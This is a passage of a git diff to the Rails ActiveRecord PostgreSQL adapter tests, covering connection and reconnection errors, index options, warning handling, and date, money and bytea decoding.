+      def test_doesnt_error_when_a_read_query_with_cursors_is_called_while_preventing_writes
+        with_example_table do
+          ActiveRecord::Base.while_preventing_writes do
+            @connection.transaction do
+              assert_equal [], @connection.execute("DECLARE cur_ex CURSOR FOR SELECT * FROM ex").entries
+              assert_equal [], @connection.execute("FETCH cur_ex").entries
+              assert_equal [], @connection.execute("MOVE cur_ex").entries
+              assert_equal [], @connection.execute("CLOSE cur_ex").entries
+            end
+          end
+        end
+      end
+
+      private
+        def with_example_table(definition = "id serial primary key, number integer, data character varying(255)", &block)
+          super(@connection, "ex", definition, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index 3054f0271f9b5..7aff23f3fc170 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/ddl_helper"
 require "support/connection_helper"
 
+require "active_support/core_ext/object/with"
+require "active_support/error_reporter/test_helper"
+
 module ActiveRecord
   module ConnectionAdapters
     class PostgreSQLAdapterTest < ActiveRecord::PostgreSQLTestCase
@@ -10,26 +15,138 @@ class PostgreSQLAdapterTest < ActiveRecord::PostgreSQLTestCase
       include ConnectionHelper
 
       def setup
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
+        @original_db_warnings_action = :ignore
+      end
+
+      def test_connection_error
+        error = assert_raises ActiveRecord::ConnectionNotEstablished do
+          ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(host: File::NULL).connect!
+        end
+        assert_kind_of ActiveRecord::ConnectionAdapters::NullPool, error.connection_pool
+      end
+
+      def test_reconnection_error
+        fake_connection = Class.new do
+          def async_exec(*)
+            [{}]
+          end
+
+          def type_map_for_queries=(_)
+          end
+
+          def type_map_for_results=(_)
+          end
+
+          def exec_params(*)
+            {}
+          end
+
+          def escape(query)
+            PG::Connection.escape(query)
+          end
+
+          def reset
+            raise PG::ConnectionBad, "I'll be rescued by the reconnect method"
+          end
+
+          def close
+          end
+        end.new
+
+        @conn = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(
+          fake_connection,
+          ActiveRecord::Base.logger,
+          nil,
+          { host: File::NULL }
+        )
+
+        connect_raises_error = proc { |**_conn_params| raise(PG::ConnectionBad, "actual bad connection error") }
+        PG.stub(:connect, connect_raises_error) do
+          error = assert_raises ActiveRecord::ConnectionNotEstablished do
+            @conn.reconnect!
+          end
+
+          assert_equal("actual bad connection error", error.message)
+          assert_equal @conn.pool, error.connection_pool
+        end
       end
 
       def test_bad_connection
         assert_raise ActiveRecord::NoDatabaseError do
-          configuration = ActiveRecord::Base.configurations["arunit"].merge(database: "should_not_exist-cinco-dog-db")
-          connection = ActiveRecord::Base.postgresql_connection(configuration)
+          db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+          configuration = db_config.configuration_hash.merge(database: "should_not_exist-cinco-dog-db")
+          connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(configuration)
           connection.exec_query("SELECT 1")
         end
       end
 
-      def test_valid_column
-        with_example_table do
-          column = @connection.columns("ex").find { |col| col.name == "id" }
-          assert @connection.valid_type?(column.type)
+      def test_bad_connection_to_postgres_database
+        connect_raises_error = proc { |**_conn_params| raise(PG::ConnectionBad, 'FATAL:  database "postgres" does not exist') }
+        PG.stub(:connect, connect_raises_error) do
+          connection = nil
+          error = assert_raises ActiveRecord::ConnectionNotEstablished do
+            db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+            configuration = db_config.configuration_hash.merge(database: "postgres")
+            connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(configuration)
+            connection.exec_query("SELECT 1")
+          end
+          assert_not_nil connection
+          assert_equal connection.pool, error.connection_pool
+        end
+      end
+
+      def test_reconnect_after_bad_connection_on_check_version_with_0_return
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash.merge(connection_retries: 0))
+        connection.connect!
+
+        # mimic a connection that hasn't checked and cached the server version yet i.e. without a raw_connection
+        connection.pool.instance_variable_set(:@server_version, nil)
+        connection.raw_connection.stub(:server_version, 0) do
+          error = assert_raises ActiveRecord::ConnectionNotEstablished do
+            connection.reconnect!
+          end
+          assert_equal "Could not determine PostgreSQL version", error.message
+        end
+
+        # can reconnect after a bad connection
+        assert_nothing_raised do
+          connection.reconnect!
         end
       end
 
-      def test_invalid_column
-        assert_not @connection.valid_type?(:foobar)
+      def test_reconnect_after_bad_connection_on_check_version_with_native_exception
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash.merge(connection_retries: 0))
+        connection.connect!
+
+        # mimic a connection that hasn't checked and cached the server version yet i.e. without a raw_connection
+        connection.pool.instance_variable_set(:@server_version, nil)
+        # https://github.com/ged/ruby-pg/commit/a565e153d4d05955342ad24d4845378eee956935
+        connection.raw_connection.stub(:server_version, -> { raise PG::ConnectionBad, "PQserverVersion() can't get server version" }) do
+          error = assert_raises ActiveRecord::ConnectionNotEstablished do
+            connection.reconnect!
+          end
+          assert_equal "PQserverVersion() can't get server version", error.message
+        end
+
+        # can reconnect after a bad connection
+        assert_nothing_raised do
+          connection.reconnect!
+        end
+      end
+
+      def test_database_exists_returns_false_when_the_database_does_not_exist
+        config = { database: "non_extant_database", adapter: "postgresql" }
+        assert_not ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.database_exists?(config),
+          "expected database #{config[:database]} to not exist"
+      end
+
+      def test_database_exists_returns_true_when_the_database_exists
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        assert ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.database_exists?(db_config.configuration_hash),
+          "expected database #{db_config.database} to exist"
       end
 
       def test_primary_key
@@ -56,29 +173,37 @@ def test_primary_key_returns_nil_for_no_pk
 
       def test_exec_insert_with_returning_disabled
         connection = connection_without_insert_returning
-        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id", "postgresql_partitioned_table_parent_id_seq")
-        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        result = assert_deprecated(ActiveRecord.deprecator) do
+          connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id", "postgresql_partitioned_table_parent_id_seq")
+        end
+        expect = connection.select_value("select max(id) from postgresql_partitioned_table_parent")
         assert_equal expect.to_i, result.rows.first.first
       end
 
       def test_exec_insert_with_returning_disabled_and_no_sequence_name_given
         connection = connection_without_insert_returning
-        result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id")
-        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        result = assert_deprecated(ActiveRecord.deprecator) do
+          connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], "id")
+        end
+        expect = connection.select_value("select max(id) from postgresql_partitioned_table_parent")
         assert_equal expect.to_i, result.rows.first.first
       end
 
       def test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given
         connection = connection_without_insert_returning
-        result = connection.exec_insert("insert into postgresql_partitioned_table_parent DEFAULT VALUES", nil, [], "id")
-        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        result = assert_deprecated(ActiveRecord.deprecator) do
+          connection.exec_insert("insert into postgresql_partitioned_table_parent DEFAULT VALUES", nil, [], "id")
+        end
+        expect = connection.select_value("select max(id) from postgresql_partitioned_table_parent")
         assert_equal expect.to_i, result.rows.first.first
       end
 
       def test_exec_insert_default_values_quoted_schema_with_returning_disabled_and_no_sequence_name_given
         connection = connection_without_insert_returning
-        result = connection.exec_insert('insert into "public"."postgresql_partitioned_table_parent" DEFAULT VALUES', nil, [], "id")
-        expect = connection.query("select max(id) from postgresql_partitioned_table_parent").first.first
+        result = assert_deprecated(ActiveRecord.deprecator) do
+          connection.exec_insert('insert into "public"."postgresql_partitioned_table_parent" DEFAULT VALUES', nil, [], "id")
+        end
+        expect = connection.select_value("select max(id) from postgresql_partitioned_table_parent")
         assert_equal expect.to_i, result.rows.first.first
       end
 
@@ -86,9 +211,11 @@ def test_serial_sequence
         assert_equal "public.accounts_id_seq",
           @connection.serial_sequence("accounts", "id")
 
-        assert_raises(ActiveRecord::StatementInvalid) do
+        error = assert_raises(ActiveRecord::StatementInvalid) do
           @connection.serial_sequence("zomg", "id")
         end
+
+        assert_equal @connection.pool, error.connection_pool
       end
 
       def test_default_sequence_name
@@ -207,35 +334,33 @@ def test_exec_no_binds
         end
       end
 
-      if ActiveRecord::Base.connection.prepared_statements
-        def test_exec_with_binds
-          with_example_table do
-            string = @connection.quote("foo")
-            @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+      def test_exec_with_binds
+        with_example_table do
+          string = @connection.quote("foo")
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
 
-            bind = Relation::QueryAttribute.new("id", 1, Type::Value.new)
-            result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
+          bind = Relation::QueryAttribute.new("id", 1, Type::Value.new)
+          result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
 
-            assert_equal 1, result.rows.length
-            assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-            assert_equal [[1, "foo"]], result.rows
-          end
+          assert_equal [[1, "foo"]], result.rows
         end
+      end
 
-        def test_exec_typecasts_bind_vals
-          with_example_table do
-            string = @connection.quote("foo")
-            @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+      def test_exec_typecasts_bind_vals
+        with_example_table do
+          string = @connection.quote("foo")
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
 
-            bind = Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)
-            result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
+          bind = Relation::QueryAttribute.new("id", "1-fuu", Type::Integer.new)
+          result = @connection.exec_query("SELECT id, data FROM ex WHERE id = $1", nil, [bind])
 
-            assert_equal 1, result.rows.length
-            assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-            assert_equal [[1, "foo"]], result.rows
-          end
+          assert_equal [[1, "foo"]], result.rows
         end
       end
 
@@ -247,22 +372,111 @@ def test_partial_index
         end
       end
 
+      def test_partial_index_on_column_named_like_keyword
+        with_example_table('id serial primary key, number integer, "primary" boolean') do
+          @connection.add_index "ex", "id", name: "partial", where: "primary" # "primary" is a keyword
+          index = @connection.indexes("ex").find { |idx| idx.name == "partial" }
+          assert_equal '"primary"', index.where
+        end
+      end
+
+      if supports_index_include?
+        def test_include_index
+          with_example_table do
+            @connection.add_index "ex", %w{ id }, name: "include", include: :number
+            index = @connection.indexes("ex").find { |idx| idx.name == "include" }
+            assert_equal ["number"], index.include
+          end
+        end
+
+        def test_include_multiple_columns_index
+          with_example_table do
+            @connection.add_index "ex", %w{ id }, name: "include", include: [:number, :data]
+            index = @connection.indexes("ex").find { |idx| idx.name == "include" }
+            assert_equal ["number", "data"], index.include
+          end
+        end
+
+        def test_include_keyword_column_name
+          with_example_table("id integer, timestamp integer") do
+            @connection.add_index "ex", :id, name: "include", include: [:timestamp]
+            index = @connection.indexes("ex").find { |idx| idx.name == "include" }
+            assert_equal ["timestamp"], index.include
+          end
+        end
+
+        def test_include_escaped_quotes_column_name
+          with_example_table(%{id integer, "I""like""quotes" integer}) do
+            @connection.add_index "ex", :id, name: "include", include: [:"I\"like\"quotes"]
+            index = @connection.indexes("ex").find { |idx| idx.name == "include" }
+            assert_equal ["I\"like\"quotes"], index.include
+          end
+        end
+      end
+
       def test_expression_index
         with_example_table do
-          @connection.add_index "ex", "mod(id, 10), abs(number)", name: "expression"
+          expr = "mod(id, 10), abs(number)"
+          @connection.add_index "ex", expr, name: "expression"
           index = @connection.indexes("ex").find { |idx| idx.name == "expression" }
-          assert_equal "mod(id, 10), abs(number)", index.columns
+          assert_equal expr, index.columns
+          assert_equal true, @connection.index_exists?("ex", expr, name: "expression")
         end
       end
 
       def test_index_with_opclass
         with_example_table do
-          @connection.add_index "ex", "data varchar_pattern_ops"
-          index = @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data_varchar_pattern_ops" }
-          assert_equal "data varchar_pattern_ops", index.columns
+          @connection.add_index "ex", "data", opclass: "varchar_pattern_ops"
+          index = @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data" }
+          assert_equal ["data"], index.columns
+
+          @connection.remove_index "ex", "data"
+          assert_not @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data" }
+        end
+      end
+
+      def test_invalid_index
+        with_example_table do
+          @connection.exec_query("INSERT INTO ex (number) VALUES (1), (1)")
+          error = assert_raises(ActiveRecord::RecordNotUnique) do
+            @connection.add_index(:ex, :number, unique: true, algorithm: :concurrently, name: :invalid_index)
+          end
+          assert_match(/could not create unique index/, error.message)
+          assert_equal @connection.pool, error.connection_pool
+
+          assert @connection.index_exists?(:ex, :number, name: :invalid_index)
+          assert_not @connection.index_exists?(:ex, :number, name: :invalid_index, valid: true)
+          assert @connection.index_exists?(:ex, :number, name: :invalid_index, valid: false)
+        end
+      end
+
+      def test_index_with_not_distinct_nulls
+        skip("current adapter doesn't support nulls not distinct") unless supports_nulls_not_distinct?
+
+        with_example_table do
+          @connection.execute(<<~SQL)
+            CREATE UNIQUE INDEX index_ex_on_data ON ex (data) NULLS NOT DISTINCT WHERE number > 0
+          SQL
+
+          index = @connection.indexes(:ex).first
+          assert_equal true, index.unique
+          assert_match("number", index.where)
+        end
+      end
+
+      def test_index_keyword_column_name
+        with_example_table("timestamp integer") do
+          @connection.add_index "ex", :timestamp, name: "keyword"
+          index = @connection.indexes("ex").find { |idx| idx.name == "keyword" }
+          assert_equal ["timestamp"], index.columns
+        end
+      end
 
-          @connection.remove_index "ex", "data varchar_pattern_ops"
-          assert_not @connection.indexes("ex").find { |idx| idx.name == "index_ex_on_data_varchar_pattern_ops" }
+      def test_index_escaped_quotes_column_name
+        with_example_table(%{"I""like""quotes" integer}) do
+          @connection.add_index "ex", :"I\"like\"quotes", name: "quotes"
+          index = @connection.indexes("ex").find { |idx| idx.name == "quotes" }
+          assert_equal ["I\"like\"quotes"], index.columns
         end
       end
 
@@ -272,92 +486,132 @@ def test_columns_for_distinct_zero_orders
       end
 
       def test_columns_for_distinct_one_order
-        assert_equal "posts.id, posts.created_at AS alias_0",
+        assert_equal "posts.created_at AS alias_0, posts.id",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc"])
       end
 
       def test_columns_for_distinct_few_orders
-        assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+        assert_equal "posts.created_at AS alias_0, posts.position AS alias_1, posts.id",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
       end
 
       def test_columns_for_distinct_with_case
         assert_equal(
-          "posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0",
+          "CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0, posts.id",
           @connection.columns_for_distinct("posts.id",
             ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
         )
       end
 
       def test_columns_for_distinct_blank_not_nil_orders
-        assert_equal "posts.id, posts.created_at AS alias_0",
+        assert_equal "posts.created_at AS alias_0, posts.id",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
       end
 
       def test_columns_for_distinct_with_arel_order
-        order = Object.new
-        def order.to_sql
-          "posts.created_at desc"
-        end
-        assert_equal "posts.id, posts.created_at AS alias_0",
+        Arel::Table.engine = nil # should not rely on the global Arel::Table.engine
+
+        order = Arel.sql("posts.created_at").desc
+        assert_equal "posts.created_at AS alias_0, posts.id",
           @connection.columns_for_distinct("posts.id", [order])
+      ensure
+        Arel::Table.engine = ActiveRecord::Base
       end
 
       def test_columns_for_distinct_with_nulls
-        assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
-        assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
+        assert_equal "posts.updater_id AS alias_0, posts.title", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
+        assert_equal "posts.updater_id AS alias_0, posts.title", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
       end
 
       def test_columns_for_distinct_without_order_specifiers
-        assert_equal "posts.title, posts.updater_id AS alias_0",
+        assert_equal "posts.updater_id AS alias_0, posts.title",
           @connection.columns_for_distinct("posts.title", ["posts.updater_id"])
 
-        assert_equal "posts.title, posts.updater_id AS alias_0",
+        assert_equal "posts.updater_id AS alias_0, posts.title",
           @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls last"])
 
-        assert_equal "posts.title, posts.updater_id AS alias_0",
+        assert_equal "posts.updater_id AS alias_0, posts.title",
           @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls first"])
       end
 
       def test_raise_error_when_cannot_translate_exception
         assert_raise TypeError do
-          @connection.send(:log, nil) { @connection.execute(nil) }
+          @connection.execute(:not_a_query)
+        end
+      end
+
+      def test_retryable_query_error_handles_closed_connection
+        @connection.raw_connection.close
+
+        assert_raises ActiveRecord::ConnectionNotEstablished do
+          @connection.execute("SELECT 1")
+        end
+      end
+
+      def test_translate_no_connection_exception_to_not_established
+        pid = @connection.execute("SELECT pg_backend_pid()").to_a[0]["pg_backend_pid"]
+        @connection.pool.checkout.execute("SELECT pg_terminate_backend(#{pid})")
+        # If you run `@connection.execute` after the backend process has been terminated,
+        # you will get the "server closed the connection unexpectedly" rather than "no connection to the server".
+        # Because what we want to test here is an error that occurs during `send_query`,
+        # which is called internally by `@connection.execute`, we will call it explicitly.
+        # The `send_query` changes the internal `PG::Connection#status` to `CONNECTION_BAD`,
+        # so any subsequent queries will get the "no connection to the server" error.
+        # https://github.com/postgres/postgres/blob/REL_17_0/src/interfaces/libpq/fe-exec.c#L1686-L1691
+        @connection.instance_variable_get(:@raw_connection).send_query("SELECT 1")
+
+        assert_raise ActiveRecord::ConnectionNotEstablished do
+          @connection.execute("SELECT 1")
         end
       end
 
       def test_reload_type_map_for_newly_defined_types
-        @connection.execute "CREATE TYPE feeling AS ENUM ('good', 'bad')"
-        result = @connection.select_all "SELECT 'good'::feeling"
-        assert_instance_of(PostgreSQLAdapter::OID::Enum,
-                           result.column_types["feeling"])
+        @connection.create_enum "feeling", ["good", "bad"]
+
+        # Runs only SELECT, no type map reloading.
+        assert_queries_count(1, include_schema: true) do
+          result = @connection.select_all "SELECT 'good'::feeling"
+          assert_instance_of(PostgreSQLAdapter::OID::Enum,
+                             result.column_types["feeling"])
+        end
       ensure
-        @connection.execute "DROP TYPE IF EXISTS feeling"
+        # Reloads type map.
+        assert_queries_match(/from pg_type/i, include_schema: true) do
+          @connection.drop_enum "feeling", if_exists: true
+        end
         reset_connection
       end
 
-      def test_only_reload_type_map_once_for_every_unknown_type
+      def test_only_reload_type_map_once_for_every_unrecognized_type
+        reset_connection
+        connection = ActiveRecord::Base.lease_connection
+        connection.select_all "SELECT 1" # eagerly initialize the connection
+
         silence_warnings do
-          assert_queries 2, ignore_none: true do
-            @connection.select_all "SELECT NULL::anyelement"
+          assert_queries_count(2, include_schema: true) do
+            connection.select_all "select 'pg_catalog.pg_class'::regclass"
           end
-          assert_queries 1, ignore_none: true do
-            @connection.select_all "SELECT NULL::anyelement"
+          assert_queries_count(1, include_schema: true) do
+            connection.select_all "select 'pg_catalog.pg_class'::regclass"
           end
-          assert_queries 2, ignore_none: true do
-            @connection.select_all "SELECT NULL::anyarray"
+          assert_queries_count(2, include_schema: true) do
+            connection.select_all "SELECT NULL::anyarray"
           end
         end
       ensure
         reset_connection
       end
 
-      def test_only_warn_on_first_encounter_of_unknown_oid
+      def test_only_warn_on_first_encounter_of_unrecognized_oid
+        reset_connection
+        connection = ActiveRecord::Base.lease_connection
+
         warning = capture(:stderr) {
-          @connection.select_all "SELECT NULL::anyelement"
-          @connection.select_all "SELECT NULL::anyelement"
-          @connection.select_all "SELECT NULL::anyelement"
+          connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          connection.select_all "select 'pg_catalog.pg_class'::regclass"
+          connection.select_all "select 'pg_catalog.pg_class'::regclass"
         }
-        assert_match(/\Aunknown OID \d+: failed to recognize type of 'anyelement'. It will be treated as String.\n\z/, warning)
+        assert_match(/\Aunknown OID \d+: failed to recognize type of 'regclass'\. It will be treated as String\.\n\z/, warning)
       ensure
         reset_connection
       end
@@ -379,14 +633,326 @@ def test_unparsed_defaults_are_at_least_set_when_saving
         end
       end
 
+      def test_only_check_for_insensitive_comparison_capability_once
+        @connection.execute("CREATE DOMAIN example_type AS integer")
+
+        with_example_table "id SERIAL PRIMARY KEY, number example_type" do
+          number_klass = Class.new(ActiveRecord::Base) do
+            self.table_name = "ex"
+          end
+          attribute = number_klass.arel_table[:number]
+          assert_queries_count(include_schema: true) do
+            @connection.case_insensitive_comparison(attribute, "foo")
+          end
+          assert_no_queries do
+            @connection.case_insensitive_comparison(attribute, "foo")
+          end
+        end
+      ensure
+        @connection.execute("DROP DOMAIN example_type")
+      end
+
+      def test_extensions_omits_current_schema_name
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+        @connection.execute("CREATE SCHEMA customschema")
+        @connection.execute("CREATE EXTENSION hstore SCHEMA customschema")
+        assert_includes @connection.extensions, "customschema.hstore"
+      ensure
+        @connection.execute("DROP SCHEMA IF EXISTS customschema CASCADE")
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+      end
+
+      def test_extensions_includes_non_current_schema_name
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+        @connection.execute("CREATE EXTENSION hstore")
+        assert_includes @connection.extensions, "hstore"
+      ensure
+        @connection.execute("DROP EXTENSION IF EXISTS hstore")
+      end
+
+      def test_ignores_warnings_when_behavior_ignore
+        with_db_warnings_action(:ignore) do
+          # libpq prints a warning to stderr from C, so we need to stub
+          # the whole file descriptors, not just Ruby's $stdout/$stderr.
+          _out, err = capture_subprocess_io do
+            result = @connection.execute("do $$ BEGIN RAISE WARNING 'foo'; END; $$")
+            assert_equal [], result.to_a
+          end
+          assert_match(/WARNING:  foo/, err)
+        end
+      end
+
+      def test_logs_warnings_when_behavior_log
+        with_db_warnings_action(:log) do
+          sql_warning = "[ActiveRecord::SQLWarning] PostgreSQL SQL warning (01000)"
+
+          assert_called_with(ActiveRecord::Base.logger, :warn, [sql_warning]) do
+            @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+          end
+        end
+      end
+
+      def test_raises_warnings_when_behavior_raise
+        with_db_warnings_action(:raise) do
+          error = assert_raises(ActiveRecord::SQLWarning) do
+            @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+          end
+          assert_equal @connection.pool, error.connection_pool
+        end
+      end
+
+      def test_reports_when_behavior_report
+        with_db_warnings_action(:report) do
+          error_reporter = ActiveSupport::ErrorReporter.new
+          subscriber = ActiveSupport::ErrorReporter::TestHelper::ErrorSubscriber.new
+
+          Rails.define_singleton_method(:error) { error_reporter }
+          Rails.error.subscribe(subscriber)
+
+          @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+          warning_event, * = subscriber.events.first
+
+          assert_kind_of ActiveRecord::SQLWarning, warning_event
+          assert_equal "PostgreSQL SQL warning", warning_event.message
+        end
+      end
+
+      def test_warnings_behavior_can_be_customized_with_a_proc
+        warning_message = nil
+        warning_level = nil
+        warning_action = ->(warning) do
+          warning_message = warning.message
+          warning_level = warning.level
+        end
+
+        with_db_warnings_action(warning_action) do
+          @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+
+          assert_equal "PostgreSQL SQL warning", warning_message
+          assert_equal "WARNING", warning_level
+        end
+      end
+
+      def test_allowlist_of_warnings_to_ignore
+        with_db_warnings_action(:raise, [/PostgreSQL SQL warning/]) do
+          result = @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+
+          assert_equal [], result.to_a
+        end
+      end
+
+      def test_allowlist_of_warning_codes_to_ignore
+        with_example_table do
+          with_db_warnings_action(:raise, ["01000"]) do
+            result = @connection.execute("do $$ BEGIN RAISE WARNING 'PostgreSQL SQL warning'; END; $$")
+            assert_equal [], result.to_a
+          end
+        end
+      end
+
+      def test_does_not_raise_notice_level_warnings
+        with_db_warnings_action(:raise, [/PostgreSQL SQL warning/]) do
+          result = @connection.execute("DROP TABLE IF EXISTS non_existent_table")
+
+          assert_equal [], result.to_a
+        end
+      end
+
+      def test_date_decoding_enabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        with_postgresql_apdater_decode_dates do
+          date = connection.select_value("select '2024-01-01'::date")
+          assert_equal Date.new(2024, 01, 01), date
+          assert_equal Date, date.class
+        end
+      end
+
+      def test_date_decoding_disabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        date = connection.select_value("select '2024-01-01'::date")
+        assert_equal "2024-01-01", date
+        assert_equal String, date.class
+      end
+
+      def test_money_decoding_enabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        PostgreSQLAdapter.with(decode_money: true) do
+          money = connection.select_value("select '12.34'::money")
+          assert_equal BigDecimal("12.34"), money
+          assert_equal BigDecimal, money.class
+        end
+      end
+
+      def test_money_decoding_disabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        money = connection.select_value("select '12.34'::money")
+        assert_equal "$12.34", money
+        assert_equal String, money.class
+      end
+
+      def test_bytea_decoding_enabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        PostgreSQLAdapter.with(decode_bytea: true) do
+          bytea = connection.select_value("select '\\x48656c6c6f'::bytea")
+          assert_equal "Hello", bytea
+          assert_equal Encoding::BINARY, bytea.encoding
+        end
+      end
+
+      def test_bytea_decoding_disabled
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+        bytea = connection.select_value("select '\\x48656c6c6f'::bytea")
+        assert_equal "\\x48656c6c6f", bytea
+        assert_equal Encoding::UTF_8, bytea.encoding
+      end
+
+      def test_bytea_unescape_after_decode_prevents_corruption
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+
+        PostgreSQLAdapter.with(decode_bytea: true) do
+          # Need fresh connection after changing decode_bytea setting
+          connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+          bytea = connection.select_value("select '\\x48656c6c6f'::bytea")
+          assert_equal "Hello", bytea
+          assert_equal Encoding::BINARY, bytea.encoding
+
+          # Attempting to unescape already-decoded data should prevent corruption
+          assert_deprecated(ActiveRecord.deprecator) do
+            unescaped = PG::Connection.unescape_bytea(bytea)
+            # Should return the already-decoded value, not corrupt it
+            assert_equal "Hello", unescaped
+            assert_equal Encoding::BINARY, unescaped.encoding
+          end
+        end
+      end
+
+      def test_bytea_unescape_normal_usage_still_works
+        encoded = "\\x48656c6c6f"
+
+        unescaped = PG::Connection.unescape_bytea(encoded)
+        assert_equal "Hello", unescaped
+        assert_equal Encoding::BINARY, unescaped.encoding
+      end
+
+      def test_bytea_marker_removed_by_type_system
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+
+        PostgreSQLAdapter.with(decode_bytea: true) do
+          connection = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.new(db_config.configuration_hash)
+
+          bytea = connection.select_value("select '\\x48656c6c6f'::bytea")
+          assert bytea.instance_variable_defined?(:@ar_pg_bytea_decoded)
+
+          type = ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bytea.new
+          processed = type.deserialize(bytea)
+
+          assert_not processed.instance_variable_defined?(:@ar_pg_bytea_decoded)
+        end
+      end
+
+      def test_bytea_warns_on_unmarked_binary_string
+        type = ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bytea.new
+
+        encoded = "\\x48656c6c6f".b
+        assert_deprecated(ActiveRecord.deprecator, /Bytea column received a binary-encoded string/) do
+          result = type.deserialize(encoded)
+          assert_equal "Hello", result
+          assert_equal Encoding::BINARY, result.encoding
+        end
+      end
+
+      def test_bytea_marked_true_skips_decode
+        type = ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bytea.new
+
